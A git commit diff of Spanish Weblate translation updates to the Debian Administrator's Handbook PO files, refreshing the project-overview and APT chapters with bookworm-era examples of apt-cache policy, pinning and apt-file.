es-ES: Translated using Weblate.

This commit is contained in:
eulalio 2025-07-15 13:44:23 +02:00 committed by Daniel Leidert
parent 438409f807
commit 269030b3e5
8 changed files with 74 additions and 313 deletions

View file

@ -1,6 +1,6 @@
# AUTHOR <EMAIL@ADDRESS>, YEAR.
msgid ""
msgstr "Project-Id-Version: 0\nPOT-Creation-Date: 2025-04-22 01:11+0200\nPO-Revision-Date: 2025-06-28 19:04+0000\nLast-Translator: eulalio <eulalio@disroot.org>\nLanguage-Team: Spanish <https://hosted.weblate.org/projects/debian-handbook/01_the-debian-project/es/>\nLanguage: es-ES\nMIME-Version: 1.0\nContent-Type: text/plain; charset=UTF-8\nContent-Transfer-Encoding: 8bit\nPlural-Forms: nplurals=2; plural=n != 1;\nX-Generator: Weblate 5.13-dev\n"
msgstr "Project-Id-Version: 0\nPOT-Creation-Date: 2025-04-22 01:11+0200\nPO-Revision-Date: 2025-07-25 12:04+0000\nLast-Translator: eulalio <eulalio@disroot.org>\nLanguage-Team: Spanish <https://hosted.weblate.org/projects/debian-handbook/01_the-debian-project/es/>\nLanguage: es-ES\nMIME-Version: 1.0\nContent-Type: text/plain; charset=UTF-8\nContent-Transfer-Encoding: 8bit\nPlural-Forms: nplurals=2; plural=n != 1;\nX-Generator: Weblate 5.13-dev\n"
msgid "Objective"
msgstr "Objetivo"
@ -1405,10 +1405,8 @@ msgstr "<primary>calidad</primary><secondary>control de</secondary>"
msgid "<primary>quality</primary><secondary>assurance</secondary>"
msgstr "<primary>control</primary><secondary>de calidad</secondary>"
#, fuzzy
#| msgid "<primary>assurance</primary><secondary>quality assurance</secondary>"
msgid "<primary>Debian</primary><secondary>Quality Assurance</secondary>"
msgstr "<primary>calidad</primary><secondary>control de</secondary>"
msgstr "<primary>Debian</primary><secondary>Control de Calidad</secondary>"
msgid "<primary>mailing lists</primary><secondary><email>debian-qa@lists.debian.org</email></secondary>"
msgstr "<primary>listas de correo</primary><secondary><email>debian-qa@lists.debian.org</email></secondary>"
@ -1431,10 +1429,8 @@ msgstr "<primary>correo</primary><secondary>listas de</secondary>"
msgid "<primary>mailing lists</primary>"
msgstr "<primary>listas de correo</primary>"
#, fuzzy
#| msgid "The mailing lists are, without a doubt, the best testimony to activity on a project, since they keep track of everything that happens. The numbers (from April 2021) regarding our mailing lists speak for themselves: Debian hosts about 325 lists, totaling over 295,000 individual subscriptions. 396,000 e-mails are delivered every day."
msgid "The mailing lists are, without a doubt, the best testimony to activity on a project, since they keep track of everything that happens. The numbers (from August 2023) regarding our mailing lists speak for themselves: Debian hosts about 325 lists, totaling over ~300,000 individual subscriptions. ~400,000 e-mails are delivered every day."
msgstr "Las listas de correo son, sin duda, el mejor testimonio de la actividad en un proyecto, ya que llevan la cuenta de todo lo que ocurre. Las cifras (de abril de 2021) relativas a nuestras listas de correo hablan por sí solas: Debian alberga unas 325 listas, con un total de más de 295.000 suscripciones individuales. Cada día se envían 396.000 correos electrónicos."
msgstr "Las listas de correo son, sin duda, el mejor testimonio de la actividad en un proyecto, ya que llevan la cuenta de todo lo que ocurre. Las cifras (de agosto 2023) relativas a nuestras listas de correo hablan por sí solas: Debian alberga unas 325 listas, con un total de más de 300.000 suscripciones individuales. Cada día se envían 400.000 correos electrónicos."
msgid "Each specific service has its own administration team, generally composed of volunteers who have installed it (and also frequently programmed the corresponding tools themselves). This is the case for the bug tracking system (BTS), the package tracker, <literal>salsa.debian.org</literal> (GitLab server, see sidebar <xref linkend=\"sidebar.gitlab\" />), the services available on <literal>qa.debian.org</literal>, <literal>lintian.debian.org</literal>, <literal>buildd.debian.org</literal>, <literal>cdimage.debian.org</literal>, etc."
msgstr "Cada servicio específico tiene su propio equipo de administración, generalmente compuesto por voluntarios que lo han instalado (y también con frecuencia han programado ellos mismos las herramientas correspondientes). Este es el caso del sistema de seguimiento de fallos (BTS), el gestor de paquetes, <literal>salsa.debian.org</literal> (servidor GitLab, ver la barra lateral <xref linkend=\"sidebar.gitlab\" />), los servicios disponibles en <literal>qa.debian.org</literal>, <literal>lintian.debian.org</literal>, <literal>buildd.debian.org</literal>, <literal>cdimage.debian.org</literal>, etc."
@ -1541,10 +1537,8 @@ msgstr "Una distribución GNU/Linux tiene dos objetivos principales: instalar un
msgid "The Installer: <command>debian-installer</command>"
msgstr "El instalador: <command>debian-installer</command>"
#, fuzzy
#| msgid "<primary>Debian</primary><secondary>Developer</secondary>"
msgid "<primary>Debian</primary><secondary>Installer</secondary>"
msgstr "<primary>Debian</primary><secondary>Desarrollador</secondary>"
msgstr "<primary>Debian</primary><secondary>Instalador</secondary>"
msgid "The <command>debian-installer</command>, designed to be extremely modular in order to be as generic as possible, targets the first objective. It covers a broad range of installation situations and in general, greatly facilitates the creation of a derivative installer corresponding to a particular case."
msgstr "<command>debian-installer</command>, diseñado de forma extremadamente modular para ser tan genérico como sea posible, apunta al primer objetivo. Cubre un gran rango de situaciones de instalación y, en general, facilita enormemente la creación de un instalador derivado para adecuarse a un caso particular."
@ -1558,10 +1552,8 @@ msgstr "Es interesante remarcar que las distribuciones derivadas de Debian son m
msgid "The Software Library"
msgstr "La biblioteca del software"
#, fuzzy
#| msgid "Quantitatively, Debian is undeniably the leader in this respect, with over 31,000 source packages. Qualitatively, Debians policy and long testing period prior to releasing a new stable version justify its reputation for stability and consistency. As far as availability, everything is available on-line through many mirrors worldwide, with updates pushed out every six hours."
msgid "Quantitatively, Debian is undeniably one of the leaders in this respect, with over 34,000 source packages. Qualitatively, Debian's policy and long testing period prior to releasing a new stable version justify its reputation for stability and consistency. As far as availability, everything is available on-line through many mirrors worldwide, with updates pushed out every six hours."
msgstr "Cuantitativamente, Debian es el líder indiscutible en este aspecto, con más de 31.000 paquetes fuente. Cualitativamente, la política de Debian y el largo periodo de pruebas antes de publicar una nueva versión estable justifican su reputación de estabilidad y consistencia. En cuanto a la disponibilidad, todo está disponible en línea a través de muchas réplicas en todo el mundo, con actualizaciones cada seis horas."
msgstr "Cuantitativamente, Debian es el líder indiscutible en este aspecto, con más de 34.000 paquetes fuente. Cualitativamente, la política de Debian y el largo periodo de pruebas antes de publicar una nueva versión estable justifican su reputación de estabilidad y consistencia. En cuanto a la disponibilidad, todo está disponible en línea a través de muchas réplicas en todo el mundo, con actualizaciones cada seis horas."
msgid "Most new free software programs quickly find their way into the development version which allows them to be installed. If this requires too many updates due to their dependencies, the program can also be recompiled for the stable version of Debian (see <xref linkend=\"debian-packaging\" /> for more information on this topic)."
msgstr "La mayoría de los nuevos programas libres ingresan rápidamente a la versión de desarrollo que les permite ser instalados. Si esto necesita de demasiadas actualizaciones debido a sus dependencias, el programa puede ser recompilado para la versión estable de Debian (revise el <xref linkend=\"debian-packaging\" /> para más información sobre este tema)."
@ -1728,10 +1720,8 @@ msgstr "<primary>estabilización</primary>"
msgid "During the freeze period, development of the <emphasis role=\"distribution\">Testing</emphasis> distribution is blocked; no more automatic updates are allowed. Only the Release Managers are then authorized to change packages, according to their own criteria. The purpose is to prevent the appearance of new bugs by introducing new versions; only thoroughly examined updates are authorized when they correct significant bugs."
msgstr "Durante el período de estabilización se bloquea el desarrollo de la distribución de <emphasis role=\"distribution\">Testing</emphasis>, no se permiten más actualizaciones automáticas. Sólo los gestores de versión están autorizados a cambiar los paquetes de acuerdo a sus propios criterios. El objetivo es prevenir la aparición de nuevos errores mediante la introducción de nuevas versiones; las actualizaciones que hayan sido analizadas a fondo sólo serán autorizadas cuando corrijan errores significativos."
#, fuzzy
#| msgid "After the release of a new stable version, the Stable Release Managers manage all further development (called “revisions”, ex: 10.1, 10.2, 10.3 for version 10). These updates systematically include all security patches. They will also include the most important corrections (the maintainer of a package must prove the gravity of the problem that they wish to correct in order to have their updates included)."
msgid "After the release of a new stable version, the Stable Release Managers manage all further development (called “revisions”, ex: 12.1, 12.2, 12.3 for version 12). These updates systematically include all security patches. They will also include the most important corrections (the maintainer of a package must prove the gravity of the problem that they wish to correct in order to have their updates included)."
msgstr "Tras el lanzamiento de una nueva versión estable, los gestores de versiones estables gestionan todos los desarrollos posteriores (denominados \"revisiones\", por ejemplo: 10.1, 10.2, 10.3 para la versión 10). Estas actualizaciones incluyen sistemáticamente todos los parches de seguridad. También incluirán las correcciones más importantes (el responsable de un paquete debe demostrar la gravedad del problema que desea corregir para que se incluyan sus actualizaciones)."
msgstr "Después del lanzamiento de una nueva versión estable, los Administradores de Versiones Estables administran todo el desarrollo posterior (llamado \"revisiones\", por ejemplo: 12.1, 12.2, 12.3 para la versión 12). Estas actualizaciones incluyen sistemáticamente todos los parches de seguridad. También incluirán las correcciones más importantes (el mantenedor de un paquete debe probar la gravedad del problema que desea corregir para que se incluyan sus actualizaciones"
msgid "At the end of the journey, our hypothetical package is now included in the stable distribution. This journey, not without its difficulties, explains the significant delays separating the Debian Stable releases. This contributes, over all, to its reputation for quality. Furthermore, the majority of users are satisfied using one of the three distributions simultaneously available. The system administrators, concerned above all about the stability of their servers, don't need the latest and greatest version of GNOME; they can choose Debian <emphasis role=\"distribution\">Stable</emphasis>, and they will be satisfied. End users, more interested in the latest versions of GNOME or KDE Plasma than in rock-solid stability, will find Debian <emphasis role=\"distribution\">Testing</emphasis> to be a good compromise between a lack of serious problems and relatively up-to-date software. Finally, developers and more experienced users may blaze the trail, testing all the latest developments in Debian <emphasis role=\"distribution\">Unstable</emphasis> right out of the gate, at the risk of suffering the headaches and bugs inherent in any new version of a program. To each their own Debian!"
msgstr "Al final del viaje, nuestro paquete hipotético ahora está incluido en la distribución estable. Este viaje, con sus dificultados, explica las demoras significativas que separan las versiones estables de Debian. Esto contribuye, en general, a su reputación de calidad. Lo que es más, la mayoría de los usuarios son satisfechos utilizando una de las tres distribuciones disponibles simultáneamente. Los administradores de sistemas no necesitan la última y mejor versión de GNOME preocupados por la estabilidad de sus servidores por sobre todas las cosas; ellos pueden elegir Debian <emphasis role=\"distribution\">Stable</emphasis> y estarán satisfechos. Los usuarios finales, más interesados en las últimas versiones de GNOME o KDE Plasma que en una estabilidad sólida, encontrarán en Debian <emphasis role=\"distribution\">Testing</emphasis> un buen compromiso entre la falta de problemas serios y software relativamente actualizado. Finalmente, desarrolladores y usuarios más experimentados pueden liderar el camino probando todos los últimos desarrollos en Debian <emphasis role=\"distribution\">Unstable</emphasis> recién salidos del horno, arriesgándose a sufrir dolores de cabeza y errores inherentes en cualquier nueva versión de un programa. ¡A cada quien su propio Debian!"

View file

@ -1,6 +1,6 @@
# AUTHOR <EMAIL@ADDRESS>, YEAR.
msgid ""
msgstr "Project-Id-Version: 0\nPOT-Creation-Date: 2025-04-22 01:11+0200\nPO-Revision-Date: 2025-07-13 13:02+0000\nLast-Translator: eulalio <eulalio@disroot.org>\nLanguage-Team: Spanish <https://hosted.weblate.org/projects/debian-handbook/06_apt/es/>\nLanguage: es-ES\nMIME-Version: 1.0\nContent-Type: text/plain; charset=UTF-8\nContent-Transfer-Encoding: 8bit\nPlural-Forms: nplurals=2; plural=n != 1;\nX-Generator: Weblate 5.13-dev\n"
msgstr "Project-Id-Version: 0\nPOT-Creation-Date: 2025-04-22 01:11+0200\nPO-Revision-Date: 2025-08-06 04:02+0000\nLast-Translator: eulalio <eulalio@disroot.org>\nLanguage-Team: Spanish <https://hosted.weblate.org/projects/debian-handbook/06_apt/es/>\nLanguage: es-ES\nMIME-Version: 1.0\nContent-Type: text/plain; charset=UTF-8\nContent-Transfer-Encoding: 8bit\nPlural-Forms: nplurals=2; plural=n != 1;\nX-Generator: Weblate 5.13-dev\n"
msgid "apt"
msgstr "apt"
@ -1603,11 +1603,7 @@ msgid ""
"<computeroutput>$ </computeroutput><userinput>aptitude why python3-debian\n"
"</userinput><computeroutput>i python3-reportbug Depends python3-debian\n"
"</computeroutput>"
msgstr ""
"<computeroutput>$ </computeroutput><userinput>aptitude why python3-debian\n"
"</userinput><computeroutput>i aptitude Suggests apt-xapian-index\n"
"p apt-xapian-index Depends python3-debian (&gt;= 0.1.14)\n"
"</computeroutput>"
msgstr "<computeroutput>$ </computeroutput><userinput>aptitude why python3-debian\n</userinput><computeroutput>i python3-reportbug Depends python3-debian\n</computeroutput>"
msgid "<emphasis>ALTERNATIVE</emphasis> <command>deborphan</command> and <command>debfoster</command>"
msgstr "<emphasis>ALTERNATIVA</emphasis> <command>deborphan</command> y <command>debfoster</command>"
@ -1778,21 +1774,7 @@ msgid ""
"More tags: admin::package-management works-with::software:package role::program suite::debian interface::commandline scope::application scope::utility\n"
"`axi-cache more' will give more results\n"
"]]>"
msgstr ""
"$ <userinput>axi-cache search package use::searching</userinput>\n"
"<![CDATA[axi-cache search package use::searching\n"
"13 results found.\n"
"Results 1-13:\n"
"100% packagesearch - GUI for searching packages and viewing package information\n"
"87% debtags - Debian Package Tags support tools\n"
"86% whohas - query multiple distributions' package archives\n"
"84% recoll - Personal full text search package\n"
"82% apt-forktracer - utility for tracking non-official package versions\n"
"[..]\n"
"66% apt - commandline package manager\n"
"More terms: debian dpkg search debtags whohas forktracer dctrl\n"
"More tags: role::program admin::package-management suite::debian works-with::software:package interface::commandline scope::utility protocol::http\n"
"]]>"
msgstr "$ <userinput>axi-cache search package use::searching</userinput>\n<![CDATA[axi-cache search package use::searching\n30 results found.\nResults 1-20:\n100% packagesearch - GUI for searching packages and viewing package information\n94% mlocate - transitional dummy package\n87% cruft - transitional package\n86% debtags - Debian Package Tags support tools\n85% whohas - query multiple distributions' package archives\n84% recoll - Personal full text search package\n81% apt-forktracer - utility for tracking non-official package versions\n[..]\n68% wajig - unified package management front-end for Debian/Ubuntu\nMore terms: debian dctrl packagesearch information aptitude manager dpkg\nMore tags: admin::package-management works-with::software:package role::program suite::debian interface::commandline scope::application scope::utility\n`axi-cache more' will give more results\n]]>"
#, fuzzy
#| msgid "<primary><command>aptitude</command></primary><secondary><literal>markauto</literal></secondary>"
@ -1814,10 +1796,8 @@ msgstr "La orden <command>apt-cache policy</command>"
msgid "<primary>APT</primary><secondary><foreignphrase>pinning</foreignphrase></secondary><tertiary>priorities</tertiary>"
msgstr "<primary>APT</primary><secondary><foreignphrase>pinning</foreignphrase></secondary><tertiary>prioridades</tertiary>"
#, fuzzy
#| msgid "The <command>apt-cache policy</command> command displays the pinning priorities and distribution properties of each package source as explained in <xref linkend=\"sect.apt.priorities\" />. It can also show the pinning priorities for all available versions and sources of a package. For the <filename>sources.list</filename> example used in <xref linkend=\"example.stable-sources-list\" /> and <literal>APT::Default-Release</literal> set to <literal>\"bullseye\"</literal>, the output will look like this:"
msgid "The <command>apt-cache policy</command> command displays the pinning priorities and distribution properties of each package source as explained in <xref linkend=\"sect.apt.priorities\" />. It can also show the pinning priorities for all available versions and sources of a package. For the <filename>sources.list</filename> example used in <xref linkend=\"example.stable-sources-list\" /> and <literal>APT::Default-Release</literal> set to <literal>\"/^bookworm(|-security|-updates)$/\"</literal>, the output will look like this:"
msgstr "La orden <command>apt-cache policy</command> muestra las prioridades de fijación y las propiedades de distribución de cada paquete fuente según se explica en <xref linkend=\"sect.apt.priorities\" />. También puede mostrar las prioridades de fijación para todas las versiones disponibles y fuentes de un paquete. Para el ejemplo de <filename>sources.list</filename> usado en <xref linkend=\"example.stable-sources-list\" /> y <literal>APT::Default-Release</literal> asignado a <literal>\"bullseye\"</literal>, la salida tiene este aspecto:"
msgstr "La orden <command>apt-cache policy</command> muestra las prioridades de fijación y las propiedades de distribución de cada paquete fuente según se explica en <xref linkend=\"sect.apt.priorities\" />. También puede mostrar las prioridades de fijación para todas las versiones disponibles y fuentes de un paquete. Para el ejemplo de <filename>sources.list</filename> usado en <xref linkend=\"example.stable-sources-list\" /> y <literal>APT::Default-Release</literal> asignado a <literal>\"/^bookworm(|-security|-updates)$/\"</literal>, la salida tiene este aspecto:"
#, fuzzy
#| msgid ""
@ -1867,27 +1847,7 @@ msgid ""
" release v=12.5,o=Debian,a=stable,n=bookworm,l=Debian,c=main,b=amd64\n"
" origin deb.debian.org\n"
"Pinned packages:</computeroutput>"
msgstr ""
"<computeroutput>$ </computeroutput><userinput>apt-cache policy</userinput>\n"
"<computeroutput>Package files:\n"
" 100 /var/lib/dpkg/status\n"
" release a=now\n"
" 100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages\n"
" release o=Debian Backports,a=bullseye-backports,n=bullseye-backports,l=Debian Backports,c=main,b=amd64\n"
" origin deb.debian.org\n"
" 990 https://deb.debian.org/debian bullseye/non-free amd64 Packages\n"
" release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=non-free,b=amd64\n"
" origin deb.debian.org\n"
" 990 https://deb.debian.org/debian bullseye/contrib amd64 Packages\n"
" release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=contrib,b=amd64\n"
" origin deb.debian.org\n"
" 990 https://deb.debian.org/debian bullseye/main amd64 Packages\n"
" release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=main,b=amd64\n"
" origin deb.debian.org\n"
" 500 http://security.debian.org bullseye-security/main amd64 Packages\n"
" release v=11,o=Debian,a=stable-security,n=bullseye-security,l=Debian-Security,c=main,b=amd64\n"
" origin security.debian.org\n"
"Pinned packages:</computeroutput>"
msgstr "<computeroutput>$ </computeroutput><userinput>apt-cache policy</userinput>\n<computeroutput>Package files:\n 100 /var/lib/dpkg/status\n release a=now\n 990 http://deb.debian.org/debian bookworm-updates/non-free-firmware amd64 Packages\n release v=12-updates,o=Debian,a=stable-updates,n=bookworm-updates,l=Debian,c=non-free-firmware,b=amd64\n origin deb.debian.org\n 990 http://deb.debian.org/debian bookworm-updates/main amd64 Packages\n release v=12-updates,o=Debian,a=stable-updates,n=bookworm-updates,l=Debian,c=main,b=amd64\n origin deb.debian.org\n 990 http://security.debian.org/debian-security bookworm-security/non-free-firmware amd64 Packages\n release v=12,o=Debian,a=stable-security,n=bookworm-security,l=Debian-Security,c=non-free-firmware,b=amd64\n origin security.debian.org\n 990 http://security.debian.org/debian-security bookworm-security/main amd64 Packages\n release v=12,o=Debian,a=stable-security,n=bookworm-security,l=Debian-Security,c=main,b=amd64\n origin security.debian.org\n 990 http://deb.debian.org/debian bookworm/non-free-firmware amd64 Packages\n release v=12.5,o=Debian,a=stable,n=bookworm,l=Debian,c=non-free-firmware,b=amd64\n origin deb.debian.org\n 990 http://deb.debian.org/debian bookworm/main amd64 Packages\n release v=12.5,o=Debian,a=stable,n=bookworm,l=Debian,c=main,b=amd64\n origin deb.debian.org\nPinned packages:</computeroutput>"
msgid "<command>apt-cache policy</command> can also show the pinning priorities for all available versions and sources of a given package."
msgstr "<command>apt-cache policy</command> también puede mostrar las propiedades de <foreignphrase>pinning</foreignphrase> para todas las versiones y fuentes disponibles de un paquete determinado."
@ -1915,25 +1875,13 @@ msgid ""
" *** 1:29.0.6-28 990\n"
" 990 http://deb.debian.org/debian bookworm/main amd64 Packages\n"
" 100 /var/lib/dpkg/status</computeroutput>"
msgstr ""
"<computeroutput>$ </computeroutput><userinput>apt-cache policy limnoria</userinput>\n"
"<computeroutput>limnoria:\n"
" Installed: 2021.06.15-1\n"
" Candidate: 2021.06.15-1\n"
" Version table:\n"
" 2021.07.21-1~bpo11+1 100\n"
" 100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages\n"
" *** 2021.06.15-1 990\n"
" 990 https://deb.debian.org/debian bullseye/main amd64 Packages\n"
" 100 /var/lib/dpkg/status</computeroutput>"
msgstr "<computeroutput>$ </computeroutput><userinput>apt-cache policy adb</userinput>\n<computeroutput>adb:\n Installed: 1:29.0.6-28\n Candidate: 1:29.0.6-28\n Version table:\n 1:33.0.3-2~bpo12+1 100\n 100 http://deb.debian.org/debian bookworm-backports/main amd64 Packages\n *** 1:29.0.6-28 990\n 990 http://deb.debian.org/debian bookworm/main amd64 Packages\n 100 /var/lib/dpkg/status</computeroutput>"
msgid "<primary>APT</primary><secondary><filename>/etc/apt/preferences.d/</filename></secondary><seealso>preferences</seealso>"
msgstr "<primary>APT</primary><secondary><filename>/etc/apt/preferences.d/</filename></secondary><seealso>preferencias</seealso>"
#, fuzzy
#| msgid "Although there is a newer version of <emphasis role=\"pkg\">limnoria</emphasis> in the <literal>bullseye-backports</literal> repository, APT will not install it automatically based on the priority. One would have to use <command>apt install limnoria/bullseye-backports</command> or add a higher pinning priority to <filename>/etc/apt/preferences.d/limnoria.pref</filename>:"
msgid "Although there is a newer version of <emphasis role=\"pkg\">adb</emphasis> in the <literal>bookworm-backports</literal> repository, APT will not install it automatically based on the priority. One would have to use <command>apt install adb/bookworm-backports</command> or add a higher pinning priority to <filename>/etc/apt/preferences.d/adb.pref</filename>:"
msgstr "Aunque hay una versión más nueva de <emphasis role=\"pkg\">limnoria</emphasis> en el repositorio <literal>bullseye-backports</literal>, APT no la instalará de forma automática basándose en la prioridad. Se tendría que usar <command>apt install limnoria/bullseye-backports</command> o añadir una prioridad de fijación superior a <filename>/etc/apt/preferences.d/limnoria.pref</filename>:"
msgstr "Aunque hay una versión más nueva de <emphasis role=\"pkg\">adb</emphasis> en el repositorio <literal>bookworm-backports</literal>, APT no la instalará de forma automática basándose en la prioridad. Se tendría que usar <command>apt install adb/bookworm-backports</command> o añadir una prioridad de fijación superior a <filename>/etc/apt/preferences.d/adb.pref</filename>:"
#, fuzzy
#| msgid ""
@ -1944,10 +1892,7 @@ msgid ""
"Package: adb\n"
"Pin: release o=Debian Backports,n=bookworm-backports\n"
"Pin-Priority: 1001"
msgstr ""
"Package: limnoria\n"
"Pin: release o=Debian Backports, a=bullseye-backports\n"
"Pin-Priority: 1001"
msgstr "Package: adb\nPin: release o=Debian Backports,n=bookworm-backports\nPin-Priority: 1001"
#, fuzzy
#| msgid ""
@ -1972,17 +1917,7 @@ msgid ""
" *** 1:29.0.6-28 990\n"
" 990 http://deb.debian.org/debian bookworm/main amd64 Packages\n"
" 100 /var/lib/dpkg/status</computeroutput>"
msgstr ""
"<computeroutput>$ </computeroutput><userinput>apt-cache policy limnoria</userinput>\n"
"<computeroutput>limnoria:\n"
" Installed: 2021.06.15-1\n"
" Candidate: 2021.07.21-1~bpo11+1\n"
" Version table:\n"
" 2021.07.21-1~bpo11+1 1001\n"
" 100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages\n"
" *** 2021.06.15-1 990\n"
" 990 https://deb.debian.org/debian bullseye/main amd64 Packages\n"
" 100 /var/lib/dpkg/status</computeroutput>"
msgstr "<computeroutput>$ </computeroutput><userinput>apt-cache policy limnoria</userinput>\n<computeroutput>adb:\n Installed: 1:29.0.6-28\n Candidate: 1:33.0.3-2~bpo12+1\n Version table:\n 1:33.0.3-2~bpo12+1 1001\n 100 http://deb.debian.org/debian bookworm-backports/main amd64 Packages\n *** 1:29.0.6-28 990\n 990 http://deb.debian.org/debian bookworm/main amd64 Packages\n 100 /var/lib/dpkg/status</computeroutput>"
msgid "The <command>apt-file</command> Command"
msgstr "La orden <command>apt-file</command>"
@ -1999,10 +1934,8 @@ msgstr "<primary>búsqueda de archivos</primary>"
msgid "<primary>package</primary><secondary>search files</secondary>"
msgstr "<primary>paquete</primary><secondary>búsqueda de archivos</secondary>"
#, fuzzy
#| msgid "Sometimes we refer to a file or a command and you might wonder, in which package it will be found. Fortunately the Debian repositories not only contain information about all the binary packages provided, but also all the files shipped with them. This information is stored in files named <filename>Contents-<replaceable>arch</replaceable>.gz</filename> and <filename>Contents-udeb-<replaceable>arch</replaceable>.gz</filename>. This information is not automatically downloaded by APT. Instead it needs the <command>apt-file update</command> command (from the similar named package) to retrieve the contents of all package sources mentioned in <filename>/etc/apt/sources.list</filename>. By default it downloads <filename>Contents*.pdiff</filename> files as described in sidebar <xref linkend=\"sidebar.apt-pdiff\" /> to reduce the amount of data necessary to be downloaded. To update the database on a weekly base, the following entry can be added to <filename>/etc/crontab</filename> if convenient."
msgid "Sometimes we refer to a file or a command and you might wonder, in which package it will be found. Fortunately the Debian repositories not only contain information about all the binary packages provided, but also all the files shipped with them. This information is stored in files named <filename>Contents-<replaceable>arch</replaceable>.gz</filename> and <filename>Contents-udeb-<replaceable>arch</replaceable>.gz</filename>. This information is not automatically downloaded by APT after installation. Instead it needs the <command>apt-file update</command> command (from the similar named package) to initially retrieve the contents of all package sources mentioned in <filename>/etc/apt/sources.list</filename>. By default it downloads <filename>Contents*.pdiff</filename> files as described in sidebar <xref linkend=\"sidebar.apt-pdiff\" /> to reduce the amount of data necessary to be downloaded. To update the database on a weekly base, the following entry can be added to <filename>/etc/crontab</filename> if convenient. After installing <command>apt-file</command>, every <command>apt-get update</command> will also retrieve and update the <filename>Contents</filename> files."
msgstr "A veces nos referimos a un archivo u orden, y te preguntarás en qué paquete se encuentra. Afortunadamente, los repositorios de Debian no solo contienen información sobre todos los paquetes binarios proporcionados, sino también sobre todos los archivos incluidos en aquellos. Esta información se guarda en archivos llamados <filename>Contents-<replaceable>arquitectura</replaceable>.gz</filename> y <filename>Contents-udeb-<replaceable>arquitectura</replaceable>.gz</filename>. APT no descarga esta información de forma automática. En su lugar, necesita la orden <command>apt-file update</command> (del paquete llamado de forma similar) para recuperar los contenidos de todos los paquetes fuente mencionados en <filename>/etc/apt/sources.list</filename>. De manera predeterminada, descarga los archivos <filename>Contents*.pdiff</filename> como se describe en la barra lateral <xref linkend=\"sidebar.apt-pdiff\" /> para reducir la cantidad de datos necesarios para descargar.. Para actualizar la base de datos semanalmente, se puede añadir la siguiente entrada a <filename>/etc/crontab</filename> si es conveniente."
msgstr "A veces nos referimos a un archivo u orden, y te preguntarás en qué paquete se encuentra. Afortunadamente, los repositorios de Debian no solo contienen información sobre todos los paquetes binarios proporcionados, sino también sobre todos los archivos incluidos en aquellos. Esta información se almacena en archivos denominados <filename>Contenido <replaceable>arch</replaceable>.gz</filename> y <filename>Contents-udeb - <replaceable>arch</replaceable>.gz</filename>. APT no descarga automáticamente esta información después de la instalación. En su lugar, necesita el comando <command>apt-file update</command>(del paquete con nombre similar) para recuperar inicialmente el contenido de todas las fuentes de paquetes mencionadas en<filename>/etc/apt/sources.list</filename>. De forma predeterminada, descarga los archivos <filename>Contents*.pdiff</filename> como se describe en la barra lateral <xref linkend=\"sidebar.apt-pdiff\" /> para reducir la cantidad de datos necesarios para descargar. Para actualizar la base de datos semanalmente, se puede agregar la siguiente entrada a <filename>/etc/crontab</filename> si es conveniente. Después de instalar <command>apt-file</command>, cada <command>apt-get update</command> también recuperará y actualizará los archivos <filename>Contents</filename>."
msgid "<![CDATA[@weekly root test -x /usr/bin/apt-file && /usr/bin/apt-file update >> /dev/null 2>&1]]>"
msgstr "<![CDATA[@weekly root test -x /usr/bin/apt-file && /usr/bin/apt-file update >> /dev/null 2>&1]]>"
@ -2045,10 +1978,8 @@ msgstr "<primary><emphasis role=\"pkg\">cruft</emphasis></primary>"
msgid "<primary><emphasis role=\"pkg\">cruft-ng</emphasis></primary>"
msgstr "<primary><emphasis role=\"pkg\">cruft-ng</emphasis></primary>"
#, fuzzy
#| msgid "Similar to <command>apt-file list</command> the command <command>dpkg -L <replaceable>package</replaceable></command> lists all files, but only for an installed package. To find the package, a local file belongs to, use <command>dpkg -S <replaceable>file</replaceable></command> (see <xref linkend=\"sect.dpkg-list\" />). To list all local files not belonging to any installed package, you might want to take a look at the <emphasis role=\"pkg\">cruft</emphasis> or the <emphasis role=\"pkg\">cruft-ng</emphasis> package."
msgid "Similar to <command>apt-file list</command>, the command <command>dpkg -L <replaceable>package</replaceable></command> lists all files, but only for an installed package. To find the package, a local file belongs to, use <command>dpkg -S <replaceable>file</replaceable></command> (see <xref linkend=\"sect.dpkg-list\" />). To list all local files not belonging to any installed package, you might want to take a look at the <emphasis role=\"pkg\">cruft</emphasis> or the <emphasis role=\"pkg\">cruft-ng</emphasis> package."
msgstr "De forma similar a <command>apt-file list</command>, la orden <command>dpkg -L <replaceable>paquete</replaceable></command> lista todos los archivos, pero solo para un paquete instalado. Para encontrar el paquete al que pertenece un archivo local use <command>dpkg -S <replaceable>archivo</replaceable></command> (véase <xref linkend=\"sect.dpkg-list\" />). Para listar todos los archivos locales que no pertenecen a ningún paquete instalado, puede que quieras echarle un vistazo al paquete <emphasis role=\"pkg\">cruft</emphasis> o al paquete <emphasis role=\"pkg\">cruft-ng</emphasis>."
msgstr "De forma similar a <command>apt-file list</command>, la orden <command>dpkg -L <replaceable>paquete</replaceable></command> lista todos los archivos, pero solo para un paquete instalado. Para encontrar el paquete al que pertenece un archivo local use <command>dpkg -S <replaceable>archivo</replaceable></command> (ver <xref linkend=\"sect.dpkg-list\" />). Para listar todos los archivos locales que no pertenecen a ningún paquete instalado, puede que quieras echarle un vistazo al paquete <emphasis role=\"pkg\">cruft</emphasis> o al paquete <emphasis role=\"pkg\">cruft-ng</emphasis>."
msgid "Frontends: <command>aptitude</command>, <command>synaptic</command>"
msgstr "Interfaces: <command>aptitude</command>, <command>synaptic</command>"
@ -2277,18 +2208,7 @@ msgid ""
"debian-archive-buster-security-automatic.asc\n"
"debian-archive-buster-stable.asc\n"
"]]>"
msgstr ""
"<computeroutput># </computeroutput><userinput>ls /etc/apt/trusted.gpg.d/\n"
"</userinput><![CDATA[debian-archive-bullseye-automatic.gpg\n"
"debian-archive-bullseye-security-automatic.gpg\n"
"debian-archive-bullseye-stable.gpg\n"
"debian-archive-buster-automatic.gpg\n"
"debian-archive-buster-security-automatic.gpg\n"
"debian-archive-buster-stable.gpg\n"
"debian-archive-stretch-automatic.gpg\n"
"debian-archive-stretch-security-automatic.gpg\n"
"debian-archive-stretch-stable.gpg\n"
"]]>"
